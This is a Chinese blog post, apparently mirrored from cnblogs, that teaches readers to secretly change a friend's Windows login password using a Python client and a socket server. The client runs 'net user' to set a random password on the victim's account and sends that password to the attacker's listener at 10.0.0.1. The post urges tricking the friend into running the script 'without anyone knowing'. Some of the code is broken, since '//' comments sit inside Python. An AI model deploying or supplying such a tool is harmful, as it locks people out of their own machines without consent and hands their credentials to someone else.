zoukankan      html  css  js  c++  java
  • 用python来更改windows开机密码

    今天教大家用python脚本来控制小伙伴们windows电脑的开机密码。没错就是神不知鬼不觉,用random()随机生成的密码,只有你自己知道哦~

    代码呢分两部分,一部分是client端跟server端两个。你只需要想办法让小伙伴运行你的client端脚本就OK啦。不过在此之前你一定要在你的电脑上运行server端哦~这样子的话,client端会在你的小伙伴电脑上随机生成一个密码然后通过socket发给server端也就是发给你哦~

    下面放代码,顺便加点注释。

    client端代码:

     

     1 # client.py: //文件名
     2 import socket //导入用到的模块
     3 import getpass
     4 import subprocess
     5 import random
     6 
     7 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket实例
     8 client.connect(('10.0.0.1', 44444)) //连接server端IP地址/端口按你自己实际情况来
     9 user = getpass.getuser() //获取计算机用户名
    10 psd = '' //给一个psd变量(密码)为空
    11 for j in range(1, 9): //生成1-9的随机数
    12 m = str(random.randrange(0, 10))
    13 psd = psd + m
    14 subprocess.Popen(['net', 'User', user, psd]) //在本地执行(类似于cmd命令)
    15 client.send(psd.encode('utf-8')) //将密码发送给server端
    16 back_msg = client.recv(1024)
    17 client.close() //关闭socket
    18 print psd //避免出现差错忘记密码 先在本地打印

    server端代码:

     1 # server.py //文件名
     2 import socket //导入socket
     3 
     4 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket
     5 server.bind(('10.0.0.1', 44444)) //绑定IP/端口
     6 server.listen(5) //监听
     7 print('starting....')
     8 conn, addr = server.accept() //连接
     9 print(conn)
    10 print('client addr', addr)
    11 print('ready to recv the passwd...')
    12 client_msg = conn.recv(1024)
    13 print('client passwd changed: %s' % client_msg)
    14 conn.send(client_msg.upper())
    15 conn.close()
    16 server.close()

    OK代码写完后我们开始运行一下程序(推荐在虚拟机下运行,万一出个差错搞不好真忘记密码!切记切记)~

    首先先在我的Linux上运行server端,来等待接收来自client端传过来的密码。

     

     

     

    运行server.py脚本

    然后windows运行client端,它会显示生成的密码

    (前提是在cmd命令行下运行否则你双击一下会消失)

     

     

     

    cmd下运行

    现在再注销或者是重启输入原始密码就会发现密码错误,怎么密码呢也已经发到我们的server端

     

     

    如果你现在想改回密码的话,千万不要关机 打开cmd输入“net user 你的用户名 你要改变的密码” 然后回车就ok了

  • 相关阅读:
    PAT Basic 1077 互评成绩计算 (20 分)
    PAT Basic 1055 集体照 (25 分)
    PAT Basic 1059 C语言竞赛 (20 分)
    PAT Basic 1072 开学寄语 (20 分)
    PAT Basic 1049 数列的片段和 (20 分)
    蓝桥杯BASIC-13 数列排序
    蓝桥杯入门——3.序列求和
    蓝桥杯入门——2.圆的面积
    蓝桥杯入门——1.Fibonacci数列
    树的总结(遍历,BST,AVL原型,堆,练习题)
  • 原文地址:https://www.cnblogs.com/chenlove/p/10551457.html
Copyright © 2011-2022 走看看